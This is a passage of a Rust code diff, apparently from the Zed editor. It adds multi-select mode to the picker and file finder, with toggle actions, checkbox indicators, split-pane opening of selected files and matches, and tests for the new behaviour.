     cx.update(|cx| {
         let state = AppState::test(cx);
         theme_settings::init(theme::LoadThemes::JustBase, cx);
@@ -4507,7 +4507,7 @@ fn build_find_picker(
 }
 
 #[track_caller]
-fn open_file_picker(
+pub(crate) fn open_file_picker(
     workspace: &Entity<Workspace>,
     cx: &mut VisualTestContext,
 ) -> Entity<Picker<FileFinderDelegate>> {
@@ -4529,7 +4529,7 @@ fn simulate_input(cx: &mut VisualTestContext, input: &str) {
 }
 
 #[track_caller]
-fn active_file_picker(
+pub(crate) fn active_file_picker(
     workspace: &Entity<Workspace>,
     cx: &mut VisualTestContext,
 ) -> Entity<Picker<FileFinderDelegate>> {
diff --git a/crates/file_finder/src/multi_select_tests.rs b/crates/file_finder/src/multi_select_tests.rs
new file mode 100644
index 00000000000000..d7e39ae7548c7e
--- /dev/null
+++ b/crates/file_finder/src/multi_select_tests.rs
@@ -0,0 +1,294 @@
+//! Tests for multi-selecting files in the file finder: toggling items in and
+//! out of the selection, pinning the selection to the top across query
+//! changes, and the various ways of opening the whole selection.
+
+use gpui::{BorrowAppContext, Entity, TestAppContext, VisualTestContext};
+use picker::{MultiSelectNext, Picker, PickerDelegate as _};
+use pretty_assertions::assert_eq;
+use project::Project;
+use serde_json::json;
+use settings::SettingsStore;
+use util::path;
+use workspace::{MultiWorkspace, Workspace, pane};
+
+use crate::file_finder_tests::{self, open_file_picker};
+use crate::{FileFinder, FileFinderDelegate, SEARCH_DEBOUNCE};
+
+struct TestContext {
+    picker: Entity<Picker<FileFinderDelegate>>,
+    workspace: Entity<Workspace>,
+    cx: VisualTestContext,
+}
+
+impl TestContext {
+    /// The test tree is `a.rs`, `b.rs` and `c.rs` in the worktree root.
+    /// Preview tabs from the file finder are enabled to verify that batch
+    /// opens produce real tabs regardless.
+    async fn new(cx: &mut TestAppContext) -> TestContext {
+        let app_state = file_finder_tests::init_test(cx);
+        cx.update(|cx| {
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings
+                        .preview_tabs
+                        .get_or_insert_default()
+                        .enable_preview_from_file_finder = Some(true);
+                });
+            })
+        });
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(
+                path!("/root"),
+                json!({
+                    "a.rs": "// a",
+                    "b.rs": "// b",
+                    "c.rs": "// c",
+                }),
+            )
+            .await;
+        let project = Project::test(app_state.fs.clone(), [path!("/root").as_ref()], cx).await;
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+        let mut cx = VisualTestContext::from_window(window.into(), cx);
+        let picker = open_file_picker(&workspace, &mut cx);
+        TestContext {
+            picker,
+            workspace,
+            cx,
+        }
+    }
+
+    fn reopen_finder(&mut self) {
+        self.picker = open_file_picker(&self.workspace, &mut self.cx);
+    }
+
+    fn search(&mut self, query: &str) {
+        self.picker.update_in(&mut self.cx, |picker, window, cx| {
+            picker.set_query(query, window, cx)
+        });
+        self.cx.executor().advance_clock(SEARCH_DEBOUNCE);
+        self.cx.run_until_parked();
+    }
+
+    fn select(&mut self, file_name: &str) {
+        let index = self.index_of(file_name);
+        self.picker.update_in(&mut self.cx, |picker, window, cx| {
+            picker.delegate.set_selected_index(index, window, cx);
+        });
+        self.cx.dispatch_action(MultiSelectNext);
+        self.cx.run_until_parked();
+    }
+
+    fn deselect(&mut self, file_name: &str) {
+        let index = self.index_of(file_name);
+        self.picker.update_in(&mut self.cx, |picker, window, cx| {
+            picker.delegate.toggle_item_selected(index, window, cx);
+        });
+        self.cx.run_until_parked();
+    }
+
+    fn confirm(&mut self) {
+        self.cx.dispatch_action(menu::Confirm);
+        self.cx.run_until_parked();
+    }
+
+    fn secondary_confirm(&mut self) {
+        self.cx.dispatch_action(menu::SecondaryConfirm);
+        self.cx.run_until_parked();
+    }
+
+    fn split_right(&mut self) {
+        self.cx.dispatch_action(pane::SplitRight::default());
+        self.cx.run_until_parked();
+    }
+
+    fn index_of(&mut self, file_name: &str) -> usize {
+        self.picker.update(&mut self.cx, |picker, _| {
+            picker
+                .delegate
+                .matches
+                .matches
+                .iter()
+                .position(|m| {
+                    m.relative_path()
+                        .is_some_and(|path| path.file_name() == Some(file_name))
+                })
+                .unwrap_or_else(|| panic!("{file_name} is not in the match list"))
+        })
+    }
+
+    fn match_names(&mut self) -> Vec<String> {
+        self.picker.update(&mut self.cx, |picker, _| {
+            picker
+                .delegate
+                .matches
+                .matches
+                .iter()
+                .filter_map(|m| Some(m.relative_path()?.file_name()?.to_owned()))
+                .collect()
+        })
+    }
+
+    #[track_caller]
+    fn assert_selected(&mut self, expected: &[&str]) {
+        let selected: Vec<String> = self.picker.update(&mut self.cx, |picker, _| {
+            picker
+                .delegate
+                .selected_matches
+                .iter()
+                .filter_map(|selected| Some(selected.0.relative_path()?.file_name()?.to_owned()))
+                .collect()
+        });
+        assert_eq!(selected, expected, "wrong files selected");
+    }
+
+    #[track_caller]
+    fn assert_finder_closed(&mut self) {
+        let finder_open = self.workspace.update(&mut self.cx, |workspace, cx| {
+            workspace.active_modal::<FileFinder>(cx).is_some()
+        });
+        assert!(!finder_open, "the finder should have been dismissed");
+    }
+
+    #[track_caller]
+    fn assert_active_pane_items(&mut self, expected: &[&str]) {
+        let mut items = self.pane_item_names(
+            &self
+                .workspace
+                .read_with(&self.cx, |workspace, _| workspace.active_pane().clone()),
+        );
+        let mut expected: Vec<String> = expected.iter().map(|name| name.to_string()).collect();
+        items.sort();
+        expected.sort();
+        assert_eq!(items, expected, "wrong items in the active pane");
+    }
+
+    fn pane_item_names(&mut self, pane: &Entity<pane::Pane>) -> Vec<String> {
+        pane.read_with(&self.cx, |pane, cx| {
+            pane.items()
+                .filter_map(|item| Some(item.project_path(cx)?.path.file_name()?.to_owned()))
+                .collect()
+        })
+    }
+
+    fn pane_count(&mut self) -> usize {
+        self.workspace
+            .read_with(&self.cx, |workspace, _| workspace.panes().len())
+    }
+}
+
+#[gpui::test]
+async fn open_selection_as_tabs(cx: &mut TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    cx.search("rs");
+    cx.select("b.rs");
+    cx.select("c.rs");
+    cx.assert_selected(&["b.rs", "c.rs"]);
+
+    cx.confirm();
+    cx.assert_finder_closed();
+    // Both files must open as real tabs even though preview tabs from the
+    // file finder are enabled; a batch open must not reuse one preview tab.
+    cx.assert_active_pane_items(&["b.rs", "c.rs"]);
+}
+
+#[gpui::test]
+async fn tabbing_a_selected_row_deselects_it(cx: &mut TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    cx.search("rs");
+    cx.select("b.rs");
+    cx.select("c.rs");
+    cx.select("b.rs");
+    cx.assert_selected(&["c.rs"]);
+}
+
+#[gpui::test]
+async fn selection_pins_to_top_across_queries(cx: &mut TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    cx.search("c");
+    cx.select("c.rs");
+
+    // `c.rs` doesn't match the new query, but stays selected and pinned to
+    // the top of the results.
+    cx.search("b");
+    cx.assert_selected(&["c.rs"]);
+    assert_eq!(cx.match_names(), ["c.rs", "b.rs"]);
+}
+
+#[gpui::test]
+async fn deselecting_survives_queries(cx: &mut TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    cx.search("c");
+    cx.select("c.rs");
+
+    cx.search("b");
+    cx.deselect("c.rs");
+    cx.assert_selected(&[]);
+
+    // A deselected file must not come back selected or pinned on requery.
+    cx.search("a");
+    cx.assert_selected(&[]);
+    assert_eq!(cx.match_names(), ["a.rs"]);
+}
+
+#[gpui::test]
+async fn create_new_file_row_is_not_selectable(cx: &mut TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    // A query matching nothing produces only the "create new" row.
+    cx.search("zzz");
+    cx.picker.update_in(&mut cx.cx, |picker, window, cx| {
+        picker.delegate.set_selected_index(0, window, cx);
+    });
+    cx.cx.dispatch_action(MultiSelectNext);
+    cx.cx.run_until_parked();
+    cx.assert_selected(&[]);
+}
+
+#[gpui::test]
+async fn open_selection_in_one_split(cx: &mut TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    cx.search("rs");
+    cx.select("b.rs");
+    cx.select("c.rs");
+
+    cx.split_right();
+    cx.assert_finder_closed();
+    // One new pane holding both files as tabs, not one pane per file.
+    assert_eq!(cx.pane_count(), 2);
+    cx.assert_active_pane_items(&["b.rs", "c.rs"]);
+}
+
+#[gpui::test]
+async fn secondary_confirm_opens_one_split_per_file(cx: &mut TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    // Open a file normally first so the workspace has a non-empty pane to
+    // split off from.
+    cx.search("a");
+    cx.confirm();
+    cx.assert_active_pane_items(&["a.rs"]);
+
+    cx.reopen_finder();
+    cx.search("rs");
+    cx.select("b.rs");
+    cx.select("c.rs");
+
+    cx.secondary_confirm();
+    cx.assert_finder_closed();
+    assert_eq!(
+        cx.pane_count(),
+        3,
+        "each selected file opens in its own split"
+    );
+}
diff --git a/crates/picker/src/footer.rs b/crates/picker/src/footer.rs
index a91ec6b5b4e8fb..6c0d8c8bb00a5a 100644
--- a/crates/picker/src/footer.rs
+++ b/crates/picker/src/footer.rs
@@ -8,6 +8,7 @@ use crate::PickerDelegate;
 use crate::SetPreviewBelow;
 use crate::SetPreviewRight;
 use crate::ToggleActionsMenu;
+use crate::ToggleMultiSelect;
 use crate::TogglePreview;
 use crate::preview;
 
@@ -97,7 +98,18 @@ impl<D: PickerDelegate> Picker<D> {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Option<AnyElement> {
-        let actions = self.delegate.actions_menu(window, cx);
+        let mut actions = self.delegate.actions_menu(window, cx);
+        // The multi-select entry is picker-owned so it can reflect the mode,
+        // which delegates don't know about.
+        if self.delegate.supports_multi_select() {
+            if !actions.is_empty() {
+                actions.push(PickerAction::separator());
+            }
+            actions.push(
+                PickerAction::button("Multi Select", ToggleMultiSelect.boxed_clone())
+                    .toggled(self.select_instead_of_open),
+            );
+        }
         if self.preview.is_none() && actions.is_empty() {
             return None;
         }
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index c74e78f1e84773..dbc8f2216073c0 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -75,6 +75,13 @@ actions!(
         ToggleActionsMenu,
         /// Take the picker's content and open it in a multibuffer
         ToMultiBuffer,
+        /// Toggles multi-select mode, in which clicking items adds them to
+        /// the selection instead of opening them
+        ToggleMultiSelect,
+        /// Toggles the current item in the multi-selection and advances to
+        /// the next item, starting multi-select mode if it isn't already
+        /// active
+        MultiSelectNext,
     ]
 );
 
@@ -123,6 +130,7 @@ pub struct Picker<D: PickerDelegate> {
     preview: Option<Preview>,
     pending_update_matches: Option<PendingUpdateMatches>,
     confirm_on_update: Option<bool>,
+    select_instead_of_open: bool,
     shape: shape::Shape,
     /// The size the picker opens at (and resets to). Defaults depend on whether
     /// the picker has a preview; see [`Picker::initial_width`] / [`Picker::max_height`].
@@ -236,6 +244,41 @@ pub trait PickerDelegate: Sized + 'static {
         None
     }
     fn confirm(&mut self, secondary: bool, window: &mut Window, cx: &mut Context<Picker<Self>>);
+    /// Whether this delegate supports selecting multiple items at once. When
+    /// `true`, the delegate owns the multi-selection state; the picker only
+    /// drives the generic UX (toggle action, indicator, click routing).
+    fn supports_multi_select(&self) -> bool {
+        false
+    }
+    /// Whether the item at `ix` is part of the current multi-selection.
+    fn is_item_selected(&self, _ix: usize) -> bool {
+        false
+    }
+    /// Toggle whether the item at `ix` is part of the multi-selection. Items
+    /// that cannot participate in multi-selection (e.g. non-file entries)
+    /// should leave the selection unchanged.
+    fn toggle_item_selected(
+        &mut self,
+        _ix: usize,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) {
+    }
+    /// Number of items currently in the multi-selection.
+    fn selected_item_count(&self) -> usize {
+        0
+    }
+    /// Clear the multi-selection.
+    fn clear_selection(&mut self, _cx: &mut Context<Picker<Self>>) {}
+    /// Open every item in the multi-selection. Called on confirm when the
+    /// selection is non-empty; implementations should clear the selection.
+    fn confirm_multi(
+        &mut self,
+        _secondary: bool,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) {
+    }
     /// Instead of interacting with currently selected entry, treats editor input literally,
     /// performing some kind of action on it.
     fn confirm_input(
@@ -528,6 +571,7 @@ impl<D: PickerDelegate> Picker<D> {
             element_container,
             pending_update_matches: None,
             confirm_on_update: None,
+            select_instead_of_open: false,
             preview,
             shape_loaded_from_persistence: persisted_shape.is_some(),
             shape: persisted_shape.unwrap_or_else(|| {
@@ -864,11 +908,48 @@ impl<D: PickerDelegate> Picker<D> {
 
     pub fn cancel(&mut self, _: &menu::Cancel, window: &mut Window, cx: &mut Context<Self>) {
         if self.delegate.should_dismiss() {
+            self.select_instead_of_open = false;
+            self.delegate.clear_selection(cx);
             self.delegate.dismissed(window, cx);
             cx.emit(DismissEvent);
         }
     }
 
+    fn toggle_multi_select(
+        &mut self,
+        _: &ToggleMultiSelect,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if !self.delegate.supports_multi_select() {
+            return;
+        }
+        self.select_instead_of_open = !self.select_instead_of_open;
+        if !self.select_instead_of_open {
+            self.delegate.clear_selection(cx);
+        }
+        cx.notify();
+    }
+
+    fn multi_select_next(
+        &mut self,
+        _: &MultiSelectNext,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        // Propagate so `tab` retains its other meanings (e.g.
+        // `ConfirmCompletion`) in pickers without multi-select.
+        if !self.delegate.supports_multi_select() {
+            cx.propagate();
+            return;
+        }
+        self.select_instead_of_open = true;
+        let ix = self.delegate.selected_index();
+        self.delegate.toggle_item_selected(ix, window, cx);
+        self.select_next(&menu::SelectNext, window, cx);
+        cx.notify();
+    }
+
     fn confirm(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
         if self.pending_update_matches.is_some()
             && !self.delegate.finalize_update_matches(
@@ -971,11 +1052,20 @@ impl<D: PickerDelegate> Picker<D> {
             return;
         }
         self.set_selected_index(ix, None, false, window, cx);
-        self.do_confirm(secondary, window, cx)
+        if self.delegate.supports_multi_select() && (secondary || self.select_instead_of_open) {
+            self.select_instead_of_open = true;
+            self.delegate.toggle_item_selected(ix, window, cx);
+            cx.notify();
+        } else {
+            self.do_confirm(secondary, window, cx);
+        }
     }
 
     fn do_confirm(&mut self, secondary: bool, window: &mut Window, cx: &mut Context<Self>) {
-        if let Some(update_query) = self.delegate.confirm_update_query(window, cx) {
+        if self.delegate.supports_multi_select() && self.delegate.selected_item_count() > 0 {
+            self.select_instead_of_open = false;
+            self.delegate.confirm_multi(secondary, window, cx);
+        } else if let Some(update_query) = self.delegate.confirm_update_query(window, cx) {
             self.set_query(&update_query, window, cx);
             self.set_selected_index(0, Some(Direction::Down), false, window, cx);
         } else {
@@ -1169,9 +1259,16 @@ impl<D: PickerDelegate> Picker<D> {
         let selectable =
             ix < self.delegate.match_count() && self.delegate.can_select(ix, window, cx);
 
+        let supports_multi_select = self.delegate.supports_multi_select();
+        let is_multi_selected = supports_multi_select && self.delegate.is_item_selected(ix);
+        let multi_select_active = supports_multi_select && self.select_instead_of_open;
+
         div()
             .id(("item", ix))
             .when(selectable, |this| this.cursor_pointer())
+            .when(selectable && multi_select_active, |this| {
+                this.hover(|s| s.bg(cx.theme().colors().ghost_element_hover))
+            })
             .child(
                 canvas(
                     move |bounds, _window, _cx| {
@@ -1212,12 +1309,35 @@ impl<D: PickerDelegate> Picker<D> {
                     }
                 }))
             })
-            .children(self.delegate.render_match(
-                ix,
-                ix == self.delegate.selected_index(),
-                window,
-                cx,
-            ))
+            .map(|row| {
+                // Pickers without multi-select keep their element tree
+                // unchanged.
+                if supports_multi_select {
+                    row.child(
+                        h_flex()
+                            // Headers and separators cannot be part of the
+                            // selection, so they get no indicator.
+                            .when(multi_select_active && selectable, |this| {
+                                this.child(
+                                    self.render_multi_select_indicator(is_multi_selected, cx),
+                                )
+                            })
+                            .children(self.delegate.render_match(
+                                ix,
+                                ix == self.delegate.selected_index(),
+                                window,
+                                cx,
+                            )),
+                    )
+                } else {
+                    row.children(self.delegate.render_match(
+                        ix,
+                        ix == self.delegate.selected_index(),
+                        window,
+                        cx,
+                    ))
+                }
+            })
             .when(
                 self.delegate.separators_after_indices().contains(&ix),
                 |picker| {
@@ -1229,6 +1349,41 @@ impl<D: PickerDelegate> Picker<D> {
             )
     }
 
+    /// The checkbox in front of items while in multi-select mode.
+    fn render_multi_select_indicator(
+        &self,
+        is_selected: bool,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        h_flex()
+            .w_6()
+            .flex_none()
+            .justify_center()
+            .items_center()
+            .child(
+                div()
+                    .size_4()
+                    .flex_none()
+                    .rounded_sm()
+                    .border_1()
+                    .border_color(if is_selected {
+                        cx.theme().colors().border_focused
+                    } else {
+                        cx.theme().colors().border
+                    })
+                    .flex()
+                    .items_center()
+                    .justify_center()
+                    .when(is_selected, |this| {
+                        this.bg(cx.theme().colors().element_selected).child(
+                            Icon::new(IconName::Check)
+                                .size(IconSize::Small)
+                                .color(Color::Accent),
+                        )
+                    }),
+            )
+    }
+
     fn render_element_container(&self, cx: &mut Context<Self>) -> impl IntoElement {
         // When the picker shrinks to fit its content, the list infers its size
         // from its items. When it fills its full height (preview visible), the
@@ -1365,6 +1520,9 @@ mod tests {
         items: Vec<bool>,
         selected_index: usize,
         confirmed_index: Rc<Cell<Option<usize>>>,
+        supports_multi_select: bool,
+        selected_items: Vec<usize>,
+        multi_confirmed: Rc<Cell<Option<Vec<usize>>>>,
     }
 
     impl TestDelegate {
@@ -1373,8 +1531,16 @@ mod tests {
                 items,
                 selected_index: 0,
                 confirmed_index: Rc::new(Cell::new(None)),
+                supports_multi_select: false,
+                selected_items: Vec::new(),
+                multi_confirmed: Rc::new(Cell::new(None)),
             }
         }
+
+        fn with_multi_select(mut self) -> Self {
+            self.supports_multi_select = true;
+            self
+        }
     }
 
     impl PickerDelegate for TestDelegate {
@@ -1432,6 +1598,45 @@ mod tests {
             self.confirmed_index.set(Some(self.selected_index));
         }
 
+        fn supports_multi_select(&self) -> bool {
+            self.supports_multi_select
+        }
+
+        fn is_item_selected(&self, ix: usize) -> bool {
+            self.selected_items.contains(&ix)
+        }
+
+        fn toggle_item_selected(
+            &mut self,
+            ix: usize,
+            _window: &mut Window,
+            _cx: &mut Context<Picker<Self>>,
+        ) {
+            if let Some(position) = self.selected_items.iter().position(|&item| item == ix) {
+                self.selected_items.remove(position);
+            } else {
+                self.selected_items.push(ix);
+            }
+        }
+
+        fn selected_item_count(&self) -> usize {
+            self.selected_items.len()
+        }
+
+        fn clear_selection(&mut self, _cx: &mut Context<Picker<Self>>) {
+            self.selected_items.clear();
+        }
+
+        fn confirm_multi(
+            &mut self,
+            _secondary: bool,
+            _window: &mut Window,
+            _cx: &mut Context<Picker<Self>>,
+        ) {
+            self.multi_confirmed
+                .set(Some(std::mem::take(&mut self.selected_items)));
+        }
+
         fn dismissed(&mut self, _window: &mut Window, _cx: &mut Context<Picker<Self>>) {}
 
         fn render_match(
@@ -1526,6 +1731,139 @@ mod tests {
             );
         });
     }
+
+    #[gpui::test]
+    async fn test_multi_select_mode_routes_clicks(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let confirmed_index = Rc::new(Cell::new(None));
+        let multi_confirmed = Rc::new(Cell::new(None));
+        let (picker, cx) = cx.add_window_view(|window, cx| {
+            let mut delegate = TestDelegate::new(vec![true, true, true]).with_multi_select();
+            delegate.confirmed_index = confirmed_index.clone();
+            delegate.multi_confirmed = multi_confirmed.clone();
+            Picker::uniform_list(delegate, window, cx)
+        });
+
+        // A plain click confirms just like in any picker.
+        picker.update_in(cx, |picker, window, cx| {
+            picker.handle_click(1, false, window, cx);
+        });
+        assert_eq!(confirmed_index.take(), Some(1));
+        picker.update(cx, |picker, _cx| {
+            assert_eq!(picker.delegate.selected_item_count(), 0);
+        });
+
+        // A secondary (cmd) click starts multi-select mode and toggles the
+        // clicked item into the selection instead of confirming.
+        picker.update_in(cx, |picker, window, cx| {
+            picker.handle_click(2, true, window, cx);
+        });
+        assert_eq!(confirmed_index.take(), None, "cmd+click must not confirm");
+        picker.update(cx, |picker, _cx| {
+            assert!(
+                picker.select_instead_of_open,
+                "cmd+click should start multi-select mode"
+            );
+            assert!(picker.delegate.is_item_selected(2));
+        });
+
+        // While the mode is on, plain clicks toggle items too.
+        picker.update_in(cx, |picker, window, cx| {
+            picker.handle_click(0, false, window, cx);
+        });
+        assert_eq!(
+            confirmed_index.take(),
+            None,
+            "in-mode clicks must not confirm"
+        );
+        picker.update(cx, |picker, _cx| {
+            assert!(picker.delegate.is_item_selected(0));
+            assert!(picker.delegate.is_item_selected(2));
+            assert!(!picker.delegate.is_item_selected(1));
+        });
+
+        // Confirming opens the whole selection and exits the mode.
+        picker.update_in(cx, |picker, window, cx| {
+            picker.do_confirm(false, window, cx);
+        });
+        assert_eq!(multi_confirmed.take(), Some(vec![2, 0]));
+        picker.update_in(cx, |picker, window, cx| {
+            picker.handle_click(1, false, window, cx);
+        });
+        assert_eq!(
+            confirmed_index.take(),
+            Some(1),
+            "the mode should be off again after confirming"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_multi_select_next_starts_multi_select_mode(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let (picker, cx) = cx.add_window_view(|window, cx| {
+            Picker::uniform_list(
+                TestDelegate::new(vec![true, true, true]).with_multi_select(),
+                window,
+                cx,
+            )
+        });
+
+        picker.update_in(cx, |picker, window, cx| {
+            picker.multi_select_next(&MultiSelectNext, window, cx);
+        });
+        picker.update(cx, |picker, _cx| {
+            assert!(
+                picker.select_instead_of_open,
+                "selecting an item should start multi-select mode"
+            );
+            assert!(picker.delegate.is_item_selected(0));
+            assert_eq!(
+                picker.delegate.selected_index(),
+                1,
+                "selecting should advance the cursor to the next item"
+            );
+        });
+
+        // In pickers without multi-select the action does nothing.
+        let (plain_picker, cx) = cx.add_window_view(|window, cx| {
+            Picker::uniform_list(TestDelegate::new(vec![true, true]), window, cx)
+        });
+        plain_picker.update_in(cx, |picker, window, cx| {
+            picker.multi_select_next(&MultiSelectNext, window, cx);
+        });
+        plain_picker.update(cx, |picker, _cx| {
+            assert!(!picker.select_instead_of_open);
+            assert_eq!(picker.delegate.selected_item_count(), 0);
+        });
+    }
+
+    #[gpui::test]
+    async fn test_exiting_multi_select_mode_clears_selection(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let (picker, cx) = cx.add_window_view(|window, cx| {
+            Picker::uniform_list(
+                TestDelegate::new(vec![true, true]).with_multi_select(),
+                window,
+                cx,
+            )
+        });
+
+        picker.update_in(cx, |picker, window, cx| {
+            picker.toggle_multi_select(&ToggleMultiSelect, window, cx);
+            picker.handle_click(0, false, window, cx);
+            picker.toggle_multi_select(&ToggleMultiSelect, window, cx);
+        });
+        picker.update(cx, |picker, _cx| {
+            assert_eq!(
+                picker.delegate.selected_item_count(),
+                0,
+                "leaving the mode should clear the selection"
+            );
+        });
+    }
 }
 
 impl<D: PickerDelegate> EventEmitter<DismissEvent> for Picker<D> {}
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
index e60b46469c8dd3..499b0982eedb32 100644
--- a/crates/picker/src/render.rs
+++ b/crates/picker/src/render.rs
@@ -149,6 +149,8 @@ impl<D: PickerDelegate> Picker<D> {
             .on_action(cx.listener(Self::set_preview_below))
             .on_action(cx.listener(Self::set_preview_hidden))
             .on_action(cx.listener(Self::toggle_actions_menu))
+            .on_action(cx.listener(Self::toggle_multi_select))
+            .on_action(cx.listener(Self::multi_select_next))
             .children(match &self.head {
                 Head::Editor(editor) => {
                     if editor_position == PickerEditorPosition::Start {
diff --git a/crates/search/src/text_finder/delegate.rs b/crates/search/src/text_finder/delegate.rs
index 63068b1a9edcd8..195223782f69bc 100644
--- a/crates/search/src/text_finder/delegate.rs
+++ b/crates/search/src/text_finder/delegate.rs
@@ -35,7 +35,7 @@ use gpui::{
     AnyElement, AppContext, AsyncApp, ClickEvent, DismissEvent, EntityId, HighlightStyle,
     Modifiers, StyledText, Task, TextStyle, prelude::*,
 };
-use gpui::{Entity, FocusHandle};
+use gpui::{Entity, FocusHandle, WeakEntity};
 use language::{Buffer, LanguageAwareStyling};
 use picker::{Picker, PickerDelegate};
 use project::{Project, ProjectPath, Search};
@@ -52,6 +52,7 @@ use util::ResultExt;
 use workspace::SplitDirection;
 use workspace::Workspace;
 use workspace::item::ItemSettings;
+use workspace::pane::Pane;
 
 use super::{Fold, SearchMatch, Unfold};
 use crate::project_search::{ActiveSettings, ProjectSearch};
@@ -85,9 +86,28 @@ pub struct Delegate {
     /// column so every row's number right-aligns to the widest one. Recomputed in
     /// [`Delegate::rebuild_entries`].
     pub(crate) max_line_number: u32,
+    pub(crate) selected_matches: Vec<SelectedMatch>,
     pub(crate) collapsed_paths: HashSet<ProjectPath>,
 }
 
+/// Wrapper with Eq is path + range equality
+#[derive(Clone)]
+pub(crate) struct SelectedMatch(pub SearchMatch);
+
+impl PartialEq for SelectedMatch {
+    fn eq(&self, other: &Self) -> bool {
+        *self == other.0
+    }
+}
+
+impl Eq for SelectedMatch {}
+
+impl PartialEq<SearchMatch> for SelectedMatch {
+    fn eq(&self, other: &SearchMatch) -> bool {
+        self.0.path == other.path && self.0.range == other.range
+    }
+}
+
 pub(crate) enum Entry {
     Header(ProjectPath),
     Match(usize),
@@ -305,6 +325,7 @@ impl Delegate {
                 in_progress_search,
                 unique_files: HashSet::default(),
                 max_line_number: 0,
+                selected_matches: Vec::new(),
                 collapsed_paths: HashSet::default(),
             });
 
@@ -446,19 +467,100 @@ impl Delegate {
     }
 
     fn selected_search_match(&self) -> Option<&SearchMatch> {
-        match self.entries.get(self.selected_index)? {
+        self.search_match_for_entry(self.selected_index)
+    }
+
+    fn search_match_for_entry(&self, ix: usize) -> Option<&SearchMatch> {
+        match self.entries.get(ix)? {
             Entry::Match(match_index) => self.matches.get(*match_index),
             Entry::Header(_) | Entry::Separator => None,
         }
     }
 
+    pub(crate) fn prepend_selected_matches(&mut self) {
+        if self.selected_matches.is_empty() {
+            return;
+        }
+        self.matches
+            .retain(|m| !self.selected_matches.iter().any(|selected| selected == m));
+        let mut matches: Vec<SearchMatch> = self
+            .selected_matches
+            .iter()
+            .map(|selected| selected.0.clone())
+            .collect();
+        self.unique_files
+            .extend(matches.iter().map(|m| m.path.clone()));
+        matches.append(&mut self.matches);
+        self.matches = matches;
+    }
+
+    fn open_match(
+        &self,
+        search_match: &SearchMatch,
+        pane: Option<WeakEntity<Pane>>,
+        focus: bool,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) {
+        let path = search_match.path.clone();
+        let row = search_match.line_number.saturating_sub(1);
+        let column = search_match.match_start_byte_column;
+        let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
+            return;
+        };
+        let open_task = workspace.update(cx, |workspace, cx| {
+            workspace.open_path_preview(path, pane, focus, false, true, window, cx)
+        });
+        cx.spawn_in(window, async move |_, cx| {
+            let item = open_task.await.log_err()?;
+            if let Some(active_editor) = item.downcast::<editor::Editor>() {
+                active_editor
+                    .downgrade()
+                    .update_in(cx, |editor, window, cx| {
+                        editor.go_to_singleton_buffer_point(
+                            text::Point::new(row, column),
+                            window,
+                            cx,
+                        );
+                    })
+                    .log_err();
+            }
+            Some(())
+        })
+        .detach();
+    }
+
     /// Opens the selected match in a new split in `direction`, then dismisses.
+    /// With a multi-selection, every selected match opens as a tab in a
+    /// single new split.
     pub(crate) fn open_in_split(
         &mut self,
         direction: SplitDirection,
         window: &mut Window,
         cx: &mut Context<Picker<Self>>,
     ) {
+        if !self.selected_matches.is_empty() {
+            let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
+                return;
+            };
+            let selected = std::mem::take(&mut self.selected_matches);
+            let new_pane = workspace.update(cx, |workspace, cx| {
+                workspace.split_pane(workspace.active_pane().clone(), direction, window, cx)
+            });
+            let count = selected.len();
+            for (i, selected_match) in selected.iter().enumerate() {
+                let focus = i + 1 == count;
+                self.open_match(
+                    &selected_match.0,
+                    Some(new_pane.downgrade()),
+                    focus,
+                    window,
+                    cx,
+                );
+            }
+            cx.emit(DismissEvent);
+            return;
+        }
         let Some(selected_match) = self.selected_search_match() else {
             return;
         };
@@ -668,7 +770,14 @@ impl PickerDelegate for Delegate {
                 workspace::pane::SplitDown::default().boxed_clone(),
             ),
             picker::PickerAction::separator(),
-            picker::PickerAction::button("Open File", menu::Confirm.boxed_clone()),
+            picker::PickerAction::button(
+                if self.selected_matches.len() > 1 {
+                    "Open multiple"
+                } else {
+                    "Open File"
+                },
+                menu::Confirm.boxed_clone(),
+            ),
             picker::PickerAction::button("Open as Tab", super::ToProjectSearch.boxed_clone()),
         ]
     }
@@ -733,6 +842,8 @@ impl PickerDelegate for Delegate {
             self.collapsed_paths.clear();
             self.selected_index = 0;
             self.active_query = None;
+            self.prepend_selected_matches();
+            self.rebuild_entries();
             cx.notify();
             return Task::ready(());
         };
@@ -809,41 +920,73 @@ impl PickerDelegate for Delegate {
             }
         }
 
-        let Some(selected_match) = self.selected_search_match() else {
+        let Some(selected_match) = self.selected_search_match().cloned() else {
             return;
         };
+        self.open_match(&selected_match, None, true, window, cx);
 
-        let path = selected_match.path.clone();
-        let line_number = selected_match.line_number;
-        let column = selected_match.match_start_byte_column;
+        cx.emit(DismissEvent);
+    }
 
-        let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
+    fn supports_multi_select(&self) -> bool {
+        true
+    }
